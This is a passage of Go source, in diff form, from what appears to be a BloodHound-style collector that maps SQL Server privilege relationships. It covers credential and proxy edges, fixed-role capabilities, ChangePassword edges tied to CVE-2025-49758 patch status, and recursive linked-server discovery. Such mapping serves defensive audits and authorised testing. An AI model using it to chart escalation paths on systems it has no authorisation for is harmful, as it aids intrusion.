credential identity) + edge := c.createEdge( + principal.ObjectIdentifier, + targetID, + bloodhound.EdgeKinds.HasMappedCred, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: bloodhound.NodeKinds.Login, + TargetName: cred.CredentialIdentity, + TargetType: "Base", + SQLServerName: serverInfo.SQLServerName, + }, + ) + if edge != nil { + edge.Properties["credentialId"] = cred.CredentialID + edge.Properties["credentialIdentity"] = cred.CredentialIdentity + edge.Properties["credentialName"] = cred.Name + edge.Properties["resolvedSid"] = cred.ResolvedSID + // Get createDate/modifyDate from the standalone credentials list + if fullCred, ok := credentialByID[cred.CredentialID]; ok { + edge.Properties["createDate"] = fullCred.CreateDate.Format(time.RFC3339) + edge.Properties["modifyDate"] = fullCred.ModifyDate.Format(time.RFC3339) + } + } + if err := writer.WriteEdge(edge); err != nil { + return err + } + } + + // ========================================================================= + // PROXY ACCOUNT EDGES + // ========================================================================= + + // Create HasProxyCred edges from logins authorized to use proxies + for _, proxy := range serverInfo.ProxyAccounts { + // Only create edges for domain credentials with a resolved SID, + // matching PowerShell's IsDomainPrincipal && ResolvedSID check + if proxy.ResolvedSID == "" { + continue + } + + // For each login authorized to use this proxy + for _, loginName := range proxy.Logins { + // Find the login's ObjectIdentifier + var loginObjectID string + for _, principal := range serverInfo.ServerPrincipals { + if principal.Name == loginName { + loginObjectID = principal.ObjectIdentifier + break + } + } + + if loginObjectID == "" { + continue + } + + proxyTargetID := proxy.ResolvedSID + + // HasProxyCred: Login -> AD Principal (resolved SID or credential identity) + edge := c.createEdge( + loginObjectID, + proxyTargetID, + bloodhound.EdgeKinds.HasProxyCred, + &bloodhound.EdgeContext{ + SourceName: loginName, + SourceType: bloodhound.NodeKinds.Login, + TargetName: proxy.CredentialIdentity, + TargetType: "Base", + SQLServerName: serverInfo.SQLServerName, + }, + ) + if edge != nil { + edge.Properties["authorizedPrincipals"] = strings.Join(proxy.Logins, ", ") + edge.Properties["credentialId"] = proxy.CredentialID + edge.Properties["credentialIdentity"] = proxy.CredentialIdentity + edge.Properties["credentialName"] = proxy.CredentialName + edge.Properties["description"] = proxy.Description + edge.Properties["isEnabled"] = proxy.Enabled + edge.Properties["proxyId"] = proxy.ProxyID + edge.Properties["proxyName"] = proxy.Name + edge.Properties["resolvedSid"] = proxy.ResolvedSID + edge.Properties["subsystems"] = strings.Join(proxy.Subsystems, ", ") + if proxy.ResolvedPrincipal != nil { + edge.Properties["resolvedType"] = proxy.ResolvedPrincipal.ObjectClass + } + } + if err := writer.WriteEdge(edge); err != nil { + return err + } + } + } + + // ========================================================================= + // DATABASE-SCOPED CREDENTIAL EDGES + // ========================================================================= + + // Create HasDBScopedCred edges from databases to credential identities + for _, db := range serverInfo.Databases { + for _, cred := range db.DBScopedCredentials { + // Only create edges for domain credentials with a resolved SID, + // matching PowerShell's IsDomainPrincipal && ResolvedSID check + if cred.ResolvedSID == "" { + continue + } + + dbCredTargetID := cred.ResolvedSID + + // HasDBScopedCred: Database -> AD Principal (resolved SID or credential identity) + edge := c.createEdge( + db.ObjectIdentifier, + dbCredTargetID, + bloodhound.EdgeKinds.HasDBScopedCred, + &bloodhound.EdgeContext{ + SourceName: db.Name, + SourceType: bloodhound.NodeKinds.Database, + TargetName: cred.CredentialIdentity, + TargetType: "Base", + SQLServerName: serverInfo.SQLServerName, + DatabaseName: db.Name, + }, + ) + if edge != nil { + edge.Properties["credentialId"] = cred.CredentialID + edge.Properties["credentialIdentity"] = cred.CredentialIdentity + edge.Properties["credentialName"] = cred.Name + edge.Properties["createDate"] = cred.CreateDate.Format(time.RFC3339) + edge.Properties["database"] = db.Name + edge.Properties["modifyDate"] = cred.ModifyDate.Format(time.RFC3339) + edge.Properties["resolvedSid"] = cred.ResolvedSID + } + if err := writer.WriteEdge(edge); err != nil { + return err + } + } + } + + return nil +} + +// hasNestedRoleMembership checks if a server principal is a member of a target role, +// including through nested role membership chains (DFS traversal). +// This matches PowerShell's Get-NestedRoleMembership function. +func (c *Collector) hasNestedRoleMembership(principal types.ServerPrincipal, targetRoleName string, serverInfo *types.ServerInfo) bool { + visited := make(map[string]bool) + return c.hasNestedRoleMembershipDFS(principal.MemberOf, targetRoleName, serverInfo, visited) +} + +func (c *Collector) hasNestedRoleMembershipDFS(memberOf []types.RoleMembership, targetRoleName string, serverInfo *types.ServerInfo, visited map[string]bool) bool { + for _, role := range memberOf { + roleName := role.Name + if roleName == "" { + // Try to extract from ObjectIdentifier (format: "rolename@server") + parts := strings.SplitN(role.ObjectIdentifier, "@", 2) + if len(parts) > 0 { + roleName = parts[0] + } + } + + if visited[roleName] { + continue + } + visited[roleName] = true + + if roleName == targetRoleName { + return true + } + + // Look up the role in server principals and recurse + for _, sp := range serverInfo.ServerPrincipals { + if sp.Name == roleName && sp.TypeDescription == "SERVER_ROLE" { + if c.hasNestedRoleMembershipDFS(sp.MemberOf, targetRoleName, serverInfo, visited) { + return true + } + break + } + } + } + return false +} + +// fixedServerRolePermissions maps fixed server roles to their implied permissions, +// matching PowerShell's $fixedServerRolePermissions. These are permissions that +// are not explicitly granted in sys.server_permissions but are inherent to the role. +var fixedServerRolePermissions = map[string][]string{ + // sysadmin implicitly has all permissions; CONTROL SERVER is the effective grant + "sysadmin": {"CONTROL SERVER"}, + // securityadmin can manage logins + "securityadmin": {"ALTER ANY LOGIN"}, +} + +// hasEffectivePermission checks if a server principal has a permission, either directly, +// inherited through role membership chains (BFS traversal), or implied by fixed role +// membership (e.g., sysadmin implies CONTROL SERVER). +// This matches PowerShell's Get-EffectivePermissions function combined with +// $fixedServerRolePermissions logic. +func (c *Collector) hasEffectivePermission(principal types.ServerPrincipal, targetPermission string, serverInfo *types.ServerInfo) bool { + // First check direct permissions (skip DENY) + for _, perm := range principal.Permissions { + if perm.Permission == targetPermission && perm.State != "DENY" { + return true + } + } + + // BFS through role membership + checked := make(map[string]bool) + queue := []string{} + + // Seed the queue with direct role memberships + for _, role := range principal.MemberOf { + roleName := role.Name + if roleName == "" { + parts := strings.SplitN(role.ObjectIdentifier, "@", 2) + if len(parts) > 0 { + roleName = parts[0] + } + } + queue = append(queue, roleName) + } + + for len(queue) > 0 { + currentRoleName := queue[0] + queue = queue[1:] + + if checked[currentRoleName] || currentRoleName == "public" { + continue + } + checked[currentRoleName] = true + + // Check fixed role implied permissions (e.g., sysadmin -> CONTROL SERVER) + if impliedPerms, ok := fixedServerRolePermissions[currentRoleName]; ok { + for _, impliedPerm := range impliedPerms { + if impliedPerm == targetPermission { + return true + } + } + } + + // Find the role in server principals + for _, sp := range serverInfo.ServerPrincipals { + if sp.Name == currentRoleName && sp.TypeDescription == "SERVER_ROLE" { + // Check this role's permissions + for _, perm := range sp.Permissions { + if perm.Permission == targetPermission { + return true + } + } + // Add nested roles to queue + for _, nestedRole := range sp.MemberOf { + nestedName := nestedRole.Name + if nestedName == "" { + parts := strings.SplitN(nestedRole.ObjectIdentifier, "@", 2) + if len(parts) > 0 { + nestedName = parts[0] + } + } + queue = append(queue, nestedName) + } + break + } + } + } + + return false +} + +// hasNestedDBRoleMembership checks if a database principal is a member of a target role, +// including through nested role membership chains (DFS traversal). +func (c *Collector) hasNestedDBRoleMembership(principal types.DatabasePrincipal, targetRoleName string, db *types.Database) bool { + visited := make(map[string]bool) + return c.hasNestedDBRoleMembershipDFS(principal.MemberOf, targetRoleName, db, visited) +} + +func (c *Collector) hasNestedDBRoleMembershipDFS(memberOf []types.RoleMembership, targetRoleName string, db *types.Database, visited map[string]bool) bool { + for _, role := range memberOf { + roleName := role.Name + if roleName == "" { + parts := strings.SplitN(role.ObjectIdentifier, "@", 2) + if len(parts) > 0 { + roleName = parts[0] + } + } + + key := db.Name + "::" + roleName + if visited[key] { + continue + } + visited[key] = true + + if roleName == targetRoleName { + return true + } + + // Look up the role in database principals and recurse + for _, dp := range db.DatabasePrincipals { + if dp.Name == roleName && dp.TypeDescription == "DATABASE_ROLE" { + if c.hasNestedDBRoleMembershipDFS(dp.MemberOf, targetRoleName, db, visited) { + return true + } + break + } + } + } + return false +} + +// hasSecurityadminRole checks if a principal is a member of the securityadmin role (including nested) +func (c *Collector) hasSecurityadminRole(principal types.ServerPrincipal, serverInfo *types.ServerInfo) bool { + return c.hasNestedRoleMembership(principal, "securityadmin", serverInfo) +} + +// hasImpersonateAnyLogin checks if a principal has IMPERSONATE ANY LOGIN permission (including inherited) +func (c *Collector) hasImpersonateAnyLogin(principal types.ServerPrincipal, serverInfo *types.ServerInfo) bool { + return c.hasEffectivePermission(principal, "IMPERSONATE ANY LOGIN", serverInfo) +} + +// shouldCreateChangePasswordEdge determines if a ChangePassword edge should be created for a target SQL login +// based on CVE-2025-49758 patch status. If the server is patched, the edge is only created if the target +// does NOT have securityadmin role or IMPERSONATE ANY LOGIN permission. +func (c *Collector) shouldCreateChangePasswordEdge(serverInfo *types.ServerInfo, targetPrincipal types.ServerPrincipal) bool { + // Check if server is patched for CVE-2025-49758 + if IsPatchedForCVE202549758(serverInfo.VersionNumber, serverInfo.Version) { + // Patched - check if target has securityadmin or IMPERSONATE ANY LOGIN + // If target has either, the patch prevents changing their password without current password + if c.hasSecurityadminRole(targetPrincipal, serverInfo) || c.hasImpersonateAnyLogin(targetPrincipal, serverInfo) { + // Track this skipped edge for grouped reporting (using map to deduplicate) + c.skippedChangePasswordMu.Lock() + if c.skippedChangePasswordEdges == nil { + c.skippedChangePasswordEdges = make(map[string]bool) + } + c.skippedChangePasswordEdges[targetPrincipal.Name] = true + c.skippedChangePasswordMu.Unlock() + return false + } + } + // Unpatched or target doesn't have protected permissions - create the edge + return true +} + +// logCVE202549758Status logs the CVE-2025-49758 vulnerability status for a server +func (c *Collector) logCVE202549758Status(serverInfo *types.ServerInfo) { + if serverInfo.VersionNumber == "" && serverInfo.Version == "" { + c.logVerbose("Skipping CVE-2025-49758 patch status check - server version unknown") + return + } + + c.logVerbose("Checking for CVE-2025-49758 patch status...") + result := CheckCVE202549758(serverInfo.VersionNumber, serverInfo.Version) + if result == nil { + c.logVerbose("Unable to parse SQL version for CVE-2025-49758 check") + return + } + + fmt.Printf("Detected SQL version: %s\n", result.VersionDetected) + if result.IsVulnerable { + fmt.Printf("CVE-2025-49758: VULNERABLE (version %s, requires %s)\n", result.VersionDetected, result.RequiredVersion) + } else if result.IsPatched { + c.logVerbose("CVE-2025-49758: NOT vulnerable (version %s)\n", result.VersionDetected) + } +} + +// processLinkedServers resolves linked server ObjectIdentifiers and queues them for collection if enabled +func (c *Collector) processLinkedServers(serverInfo *types.ServerInfo, server *ServerToProcess) { + if len(serverInfo.LinkedServers) == 0 { + return + } + + // Only do expensive DNS/LDAP resolution if collecting from linked servers + if !c.config.CollectFromLinkedServers { + // When not collecting, just set basic ObjectIdentifiers for edge generation + for i := range serverInfo.LinkedServers { + ls := &serverInfo.LinkedServers[i] + targetHost := ls.DataSource + if targetHost == "" { + targetHost = ls.Name + } + hostname, port, instanceName := c.parseDataSource(targetHost) + + // Extract domain from source server + sourceDomain := "" + if strings.Contains(serverInfo.Hostname, ".") { + parts := strings.SplitN(serverInfo.Hostname, ".", 2) + if len(parts) > 1 { + sourceDomain = parts[1] + } + } + + // Resolve ObjectIdentifier (needed for edge generation) + resolvedID := c.resolveDataSourceToSID(hostname, port, instanceName, sourceDomain) + ls.ResolvedObjectIdentifier = resolvedID + } + return + } + + // Full processing when collecting from linked servers (includes DNS lookups for queueing) + for i := range serverInfo.LinkedServers { + ls := &serverInfo.LinkedServers[i] + + // Resolve the target server hostname + targetHost := ls.DataSource + if targetHost == "" { + targetHost = ls.Name + } + + // Parse hostname, port, and instance from DataSource + // Formats: hostname, hostname:port, hostname\instance, hostname,port + hostname, port, instanceName := c.parseDataSource(targetHost) + + // Strip instance name if present for FQDN resolution + resolvedHost := hostname + + // If hostname is an IP address, try to resolve to hostname + if net.ParseIP(hostname) != nil { + if names, err := net.LookupAddr(hostname); err == nil && len(names) > 0 { + // Use the first resolved name, strip trailing dot + resolvedHostFromIP := strings.TrimSuffix(names[0], ".") + // Extract just hostname part for SID resolution + if strings.Contains(resolvedHostFromIP, ".") { + hostname = strings.Split(resolvedHostFromIP, ".")[0] + } else { + hostname = resolvedHostFromIP + } + } + } + + // Try to resolve FQDN if not already one + if !strings.Contains(resolvedHost, ".") { + // Try DNS resolution + if addrs, err := net.LookupHost(resolvedHost); err == nil && len(addrs) > 0 { + if names, err := net.LookupAddr(addrs[0]); err == nil && len(names) > 0 { + resolvedHost = strings.TrimSuffix(names[0], ".") + } + } + } + + // Extract domain from source server for linked server lookups + sourceDomain := "" + if strings.Contains(serverInfo.Hostname, ".") { + parts := strings.SplitN(serverInfo.Hostname, ".", 2) + if len(parts) > 1 { + sourceDomain = parts[1] + } + } + + // Resolve the linked server's ResolvedObjectIdentifier (SID:port format) + resolvedID := c.resolveDataSourceToSID(hostname, port, instanceName, sourceDomain) + ls.ResolvedObjectIdentifier = resolvedID + + // Check if already in queue + isAlreadyQueued := false + for _, existing := range c.serversToProcess { + if strings.EqualFold(existing.Hostname, resolvedHost) || + strings.EqualFold(existing.Hostname, hostname) { + isAlreadyQueued = true + break + } + } + + // Add to queue if not already there + if !isAlreadyQueued { + c.addLinkedServerToQueue(resolvedHost, serverInfo.Hostname, sourceDomain) + } + } +} + +// parseDataSource parses a SQL Server data source string into hostname, port, and instance name +// Supports formats: hostname, hostname:port, hostname\instance, hostname,port, hostname\instance,port +func (c *Collector) parseDataSource(dataSource string) (hostname, port, instanceName string) { + // Default port + port = "1433" + hostname = dataSource + + // Check for instance name (backslash) + if idx := strings.Index(dataSource, "\\"); idx != -1 { + hostname = dataSource[:idx] + remaining := dataSource[idx+1:] + + // Check if there's a port after the instance + if commaIdx := strings.Index(remaining, ","); commaIdx != -1 { + instanceName = remaining[:commaIdx] + port = remaining[commaIdx+1:] + } else if colonIdx := strings.Index(remaining, ":"); colonIdx != -1 { + instanceName = remaining[:colonIdx] + port = remaining[colonIdx+1:] + } else { + instanceName = remaining + } + return + } + + // Check for port (comma or colon without backslash) + if commaIdx := strings.Index(dataSource, ","); commaIdx != -1 { + hostname = dataSource[:commaIdx] + port = dataSource[commaIdx+1:] + return + } + + // Also support colon for port (common in JDBC-style connections) + if colonIdx := strings.LastIndex(dataSource, ":"); colonIdx != -1 { + // Make sure it's not a drive letter (e.g., C:\...) + if colonIdx > 1 { + hostname = dataSource[:colonIdx] + port = dataSource[colonIdx+1:] + } + } + + return +} + +// resolveLinkedServerSourceID resolves the source server ObjectIdentifier for a chained linked server. +// When a linked server's SourceServer differs from the current server's hostname, this resolves +// the source to a SID:port format. Falls back to "LinkedServer:hostname" if resolution fails. +// This matches PowerShell's Resolve-DataSourceToSid behavior for linked server source resolution. +func (c *Collector) resolveLinkedServerSourceID(sourceServer string, serverInfo *types.ServerInfo) string { + hostname, port, instanceName := c.parseDataSource(sourceServer) + + // Extract domain from current server for resolution + sourceDomain := "" + if strings.Contains(serverInfo.Hostname, ".") { + parts := strings.SplitN(serverInfo.Hostname, ".", 2) + if len(parts) > 1 { + sourceDomain = parts[1] + } + } + + resolved := c.resolveDataSourceToSID(hostname, port, instanceName, sourceDomain) + + // Check if resolution succeeded (starts with S-1-5- means SID was resolved) + if strings.HasPrefix(resolved, "S-1-5-") { + return resolved + } + + // Fallback to LinkedServer:hostname format (matching PowerShell behavior) + return "LinkedServer:" + sourceServer +} + +// resolveDataSourceToSID resolves a data source to SID:port format for linked server edges +// Returns SID:port if the hostname can be resolved, otherwise returns hostname:port +func (c *Collector) resolveDataSourceToSID(hostname, port, instanceName, domain string) string { + // For cloud SQL servers (Azure, AWS RDS, etc.), use hostname:port format + if strings.Contains(hostname, ".database.windows.net") || + strings.Contains(hostname, ".rds.amazonaws.com") || + strings.Contains(hostname, ".database.azure.com") { + if instanceName != "" { + return fmt.Sprintf("%s:%s", hostname, instanceName) + } + return fmt.Sprintf("%s:%s", hostname, port) + } + + // Try to resolve the computer SID + machineName := hostname + if strings.Contains(machineName, ".") { + machineName = strings.Split(machineName, ".")[0] + } + + // Try Windows API first + sid, err := ad.ResolveComputerSIDWindows(machineName, domain) + if err == nil && sid != "" { + if instanceName != "" { + return fmt.Sprintf("%s:%s", sid, instanceName) + } + return fmt.Sprintf("%s:%s", sid, port) + } + + // Try LDAP if domain is specified and Windows API failed + if domain != "" { + adClient := ad.NewClient(domain, c.config.DomainController, c.config.SkipPrivateAddress, c.config.LDAPUser, c.config.LDAPPassword, c.getDNSResolver()) + defer adClient.Close() + + sid, err = adClient.ResolveComputerSID(machineName) + if err == nil && sid != "" { + if instanceName != "" { + return fmt.Sprintf("%s:%s", sid, instanceName) + } + return fmt.Sprintf("%s:%s", sid, port) + } + } + + // Fallback to hostname:port if SID resolution fails + if instanceName != "" { + return fmt.Sprintf("%s:%s", hostname, instanceName) + } + return fmt.Sprintf("%s:%s", hostname, port) +} + +// addLinkedServerToQueue adds a discovered linked server to the queue for later processing +func (c *Collector) addLinkedServerToQueue(hostname string, discoveredFrom string, domain string) { + c.linkedServersMu.Lock() + defer c.linkedServersMu.Unlock() + + // Check for duplicates + for _, ls := range c.linkedServersToProcess { + if strings.EqualFold(ls.Hostname, hostname) { + return + } + } + + server := c.parseServerString(hostname) + server.DiscoveredFrom = discoveredFrom + server.Domain = domain + c.tryResolveSID(server) + c.linkedServersToProcess = append(c.linkedServersToProcess, server) +} + +// processLinkedServersQueue processes discovered linked servers recursively +func (c *Collector) processLinkedServersQueue(processedServers map[string]bool) { + iteration := 0 + for { + // Get current batch of linked servers to process + c.linkedServersMu.Lock() + if len(c.linkedServersToProcess) == 0 { + c.linkedServersMu.Unlock() + break + } + + // Take the current batch and reset + currentBatch := c.linkedServersToProcess + c.linkedServersToProcess = nil + c.linkedServersMu.Unlock() + + // Filter out already processed servers + var serversToProcess []*ServerToProcess + for _, server := range currentBatch { + key := strings.ToLower(server.Hostname) + if !processedServers[key] { + serversToProcess = append(serversToProcess, server) + processedServers[key] = true + } else { + c.logVerbose("Skipping already processed linked server: %s", server.Hostname) + } + } + + if len(serversToProcess) == 0 { + continue + } + + iteration++ + fmt.Printf("\n=== Processing %d linked server(s) (iteration %d) ===\n", len(serversToProcess), iteration) + + // Process this batch + for i, server := range serversToProcess { + discoveredInfo := "" + if server.DiscoveredFrom != "" { + discoveredInfo = fmt.Sprintf(" (discovered from %s)", server.DiscoveredFrom) + } + fmt.Printf("\n[Linked %d/%d] Processing %s%s...\n", i+1, len(serversToProcess), server.ConnectionString, discoveredInfo) + + if err := c.processServer(server); err != nil { + fmt.Printf("Warning: failed to process linked server %s: %v\n", server.ConnectionString, err) + // Continue with other servers + } + } + } +} + +// createFixedRoleEdges creates edges for fixed server and database role capabilities +func (c *Collector) createFixedRoleEdges(writer *bloodhound.StreamingWriter, serverInfo *types.ServerInfo) error { + // Fixed server roles with special capabilities + for _, principal := range serverInfo.ServerPrincipals { + if principal.TypeDescription != "SERVER_ROLE" || !principal.IsFixedRole { + continue + } + + switch principal.Name { + case "sysadmin": + // sysadmin has CONTROL SERVER + edge := c.createEdge( + principal.ObjectIdentifier, + serverInfo.ObjectIdentifier, + bloodhound.EdgeKinds.ControlServer, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: bloodhound.NodeKinds.ServerRole, + TargetName: serverInfo.ServerName, + TargetType: bloodhound.NodeKinds.Server, + SQLServerName: serverInfo.SQLServerName, + IsFixedRole: true, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + + case "securityadmin": + // securityadmin can grant any permission + edge := c.createEdge( + principal.ObjectIdentifier, + serverInfo.ObjectIdentifier, + bloodhound.EdgeKinds.GrantAnyPermission, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: bloodhound.NodeKinds.ServerRole, + TargetName: serverInfo.ServerName, + TargetType: bloodhound.NodeKinds.Server, + SQLServerName: serverInfo.SQLServerName, + IsFixedRole: true, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + + // securityadmin also has ALTER ANY LOGIN + edge = c.createEdge( + principal.ObjectIdentifier, + serverInfo.ObjectIdentifier, + bloodhound.EdgeKinds.AlterAnyLogin, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: bloodhound.NodeKinds.ServerRole, + TargetName: serverInfo.ServerName, + TargetType: bloodhound.NodeKinds.Server, + SQLServerName: serverInfo.SQLServerName, + IsFixedRole: true, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + + // Also create ChangePassword edges to SQL logins (same logic as explicit ALTER ANY LOGIN) + for _, targetPrincipal := range serverInfo.ServerPrincipals { + if targetPrincipal.TypeDescription != "SQL_LOGIN" { + continue + } + if targetPrincipal.Name == "sa" { + continue + } + if targetPrincipal.ObjectIdentifier == principal.ObjectIdentifier { + continue + } + + // Check if target has sysadmin or CONTROL SERVER (including nested) + targetHasSysadmin := c.hasNestedRoleMembership(targetPrincipal, "sysadmin", serverInfo) + targetHasControlServer := c.hasEffectivePermission(targetPrincipal, "CONTROL SERVER", serverInfo) + + if !targetHasSysadmin && !targetHasControlServer { + // Check CVE-2025-49758 patch status to determine if edge should be created + if !c.shouldCreateChangePasswordEdge(serverInfo, targetPrincipal) { + continue + } + + edge := c.createEdge( + principal.ObjectIdentifier, + targetPrincipal.ObjectIdentifier, + bloodhound.EdgeKinds.ChangePassword, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: bloodhound.NodeKinds.ServerRole, + TargetName: targetPrincipal.Name, + TargetType: bloodhound.NodeKinds.Login, + SQLServerName: serverInfo.SQLServerName, + Permission: "ALTER ANY LOGIN", + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + } + } + case "##MS_LoginManager##": + // SQL Server 2022+ fixed role: has ALTER ANY LOGIN permission + edge := c.createEdge( + principal.ObjectIdentifier, + serverInfo.ObjectIdentifier, + bloodhound.EdgeKinds.AlterAnyLogin, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: bloodhound.NodeKinds.ServerRole, + TargetName: serverInfo.ServerName, + TargetType: bloodhound.NodeKinds.Server, + SQLServerName: serverInfo.SQLServerName, + IsFixedRole: true, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + + // Also create ChangePassword edges to SQL logins (same logic as ALTER ANY LOGIN) + for _, targetPrincipal := range serverInfo.ServerPrincipals { + if targetPrincipal.TypeDescription != "SQL_LOGIN" { + continue + } + if targetPrincipal.Name == "sa" { + continue + } + if targetPrincipal.ObjectIdentifier == principal.ObjectIdentifier { + continue + } + + // Check if target has sysadmin or CONTROL SERVER (including nested) + targetHasSysadmin := c.hasNestedRoleMembership(targetPrincipal, "sysadmin", serverInfo) + targetHasControlServer := c.hasEffectivePermission(targetPrincipal, "CONTROL SERVER", serverInfo) + + if !targetHasSysadmin && !targetHasControlServer { + if !c.shouldCreateChangePasswordEdge(serverInfo, targetPrincipal) { + continue + } + + cpEdge := c.createEdge( + principal.ObjectIdentifier, + targetPrincipal.ObjectIdentifier, + bloodhound.EdgeKinds.ChangePassword, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: bloodhound.NodeKinds.ServerRole, + TargetName: targetPrincipal.Name, + TargetType: bloodhound.NodeKinds.Login, + SQLServerName: serverInfo.SQLServerName, + Permission: "ALTER ANY LOGIN", + }, + ) + if err := writer.WriteEdge(cpEdge); err != nil { + return err + } + } + } + + case "##MS_DatabaseConnector##": + // SQL Server 2022+ fixed role: has CONNECT ANY DATABASE permission + edge := c.createEdge( + principal.ObjectIdentifier, + serverInfo.ObjectIdentifier, + bloodhound.EdgeKinds.ConnectAnyDatabase, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: bloodhound.NodeKinds.ServerRole, + TargetName: serverInfo.ServerName, + TargetType: bloodhound.NodeKinds.Server, + SQLServerName: serverInfo.SQLServerName, + IsFixedRole: true, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + } + } + + // Fixed database roles with special capabilities + for _, db := range serverInfo.Databases { + for _, principal := range db.DatabasePrincipals { + if principal.TypeDescription != "DATABASE_ROLE" || !principal.IsFixedRole { + continue + } + + switch principal.Name { + case "db_owner": + // db_owner has CONTROL on the database - create both Control and ControlDB edges + // MSSQL_Control (non-traversable) - matches PowerShell behavior + edge := c.createEdge( + principal.ObjectIdentifier, + db.ObjectIdentifier, + bloodhound.EdgeKinds.Control, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: bloodhound.NodeKinds.DatabaseRole, + TargetName: db.Name, + TargetType: bloodhound.NodeKinds.Database, + SQLServerName: serverInfo.SQLServerName, + DatabaseName: db.Name, + IsFixedRole: true, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + + // MSSQL_ControlDB (traversable) + edge = c.createEdge( + principal.ObjectIdentifier, + db.ObjectIdentifier, + bloodhound.EdgeKinds.ControlDB, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: bloodhound.NodeKinds.DatabaseRole, + TargetName: db.Name, + TargetType: bloodhound.NodeKinds.Database, + SQLServerName: serverInfo.SQLServerName, + DatabaseName: db.Name, + IsFixedRole: true, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + + // NOTE: db_owner does NOT create explicit AddMember or ChangePassword edges + // Its ability to add members and change passwords comes from the implicit ControlDB permission + // PowerShell doesn't create these edges from db_owner either + + case "db_securityadmin": + // db_securityadmin can grant any database permission + edge := c.createEdge( + principal.ObjectIdentifier, + db.ObjectIdentifier, + bloodhound.EdgeKinds.GrantAnyDBPermission, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: bloodhound.NodeKinds.DatabaseRole, + TargetName: db.Name, + TargetType: bloodhound.NodeKinds.Database, + SQLServerName: serverInfo.SQLServerName, + DatabaseName: db.Name, + IsFixedRole: true, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + + // db_securityadmin has ALTER ANY APPLICATION ROLE permission + edge = c.createEdge( + principal.ObjectIdentifier, + db.ObjectIdentifier, + bloodhound.EdgeKinds.AlterAnyAppRole, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: bloodhound.NodeKinds.DatabaseRole, + TargetName: db.Name, + TargetType: bloodhound.NodeKinds.Database, + SQLServerName: serverInfo.SQLServerName, + DatabaseName: db.Name, + IsFixedRole: true, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + + // db_securityadmin has ALTER ANY ROLE permission + edge = c.createEdge( + principal.ObjectIdentifier, + db.ObjectIdentifier, + bloodhound.EdgeKinds.AlterAnyDBRole, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: bloodhound.NodeKinds.DatabaseRole, + TargetName: db.Name, + TargetType: bloodhound.NodeKinds.Database, + SQLServerName: serverInfo.SQLServerName, + DatabaseName: db.Name, + IsFixedRole: true, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + + // db_securityadmin can add members to user-defined roles only (not fixed roles) + // Also exclude the public role as its membership cannot be changed + for _, targetRole := range db.DatabasePrincipals { + if targetRole.TypeDescription == "DATABASE_ROLE" && + !targetRole.IsFixedRole && + targetRole.Name != "public" { + edge := c.createEdge( + principal.ObjectIdentifier, + targetRole.ObjectIdentifier, + bloodhound.EdgeKinds.AddMember, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: bloodhound.NodeKinds.DatabaseRole, + TargetName: targetRole.Name, + TargetType: bloodhound.NodeKinds.DatabaseRole, + SQLServerName: serverInfo.SQLServerName, + DatabaseName: db.Name, + IsFixedRole: true, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + } + } + + // db_securityadmin can change password for application roles (via ALTER ANY APPLICATION ROLE) + for _, appRole := range db.DatabasePrincipals { + if appRole.TypeDescription == "APPLICATION_ROLE" { + edge := c.createEdge( + principal.ObjectIdentifier, + appRole.ObjectIdentifier, + bloodhound.EdgeKinds.ChangePassword, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: bloodhound.NodeKinds.DatabaseRole, + TargetName: appRole.Name, + TargetType: bloodhound.NodeKinds.ApplicationRole, + SQLServerName: serverInfo.SQLServerName, + DatabaseName: db.Name, + IsFixedRole: true, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + } + } + + case "db_accessadmin": + // db_accessadmin does NOT have any special permissions that create edges + // Its role is to manage database access (adding users), which is handled + // through its membership in the database, not through explicit permissions + } + } + } + + return nil +} + +// createServerPermissionEdges creates edges based on server-level permissions +func (c *Collector) createServerPermissionEdges(writer *bloodhound.StreamingWriter, serverInfo *types.ServerInfo) error { + principalMap := make(map[int]*types.ServerPrincipal) + for i := range serverInfo.ServerPrincipals { + principalMap[serverInfo.ServerPrincipals[i].PrincipalID] = &serverInfo.ServerPrincipals[i] + } + + for _, principal := range serverInfo.ServerPrincipals { + for _, perm := range principal.Permissions { + if perm.State != "GRANT" && perm.State != "GRANT_WITH_GRANT_OPTION" { + continue + } + + switch perm.Permission { + case "CONTROL SERVER": + edge := c.createEdge( + principal.ObjectIdentifier, + serverInfo.ObjectIdentifier, + bloodhound.EdgeKinds.ControlServer, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: c.getServerPrincipalType(principal.TypeDescription), + TargetName: serverInfo.ServerName, + TargetType: bloodhound.NodeKinds.Server, + SQLServerName: serverInfo.SQLServerName, + Permission: perm.Permission, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + + case "CONNECT SQL": + // CONNECT SQL permission allows connecting to the server + // Only create edge if the principal is not disabled + if !principal.IsDisabled { + edge := c.createEdge( + principal.ObjectIdentifier, + serverInfo.ObjectIdentifier, + bloodhound.EdgeKinds.Connect, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + 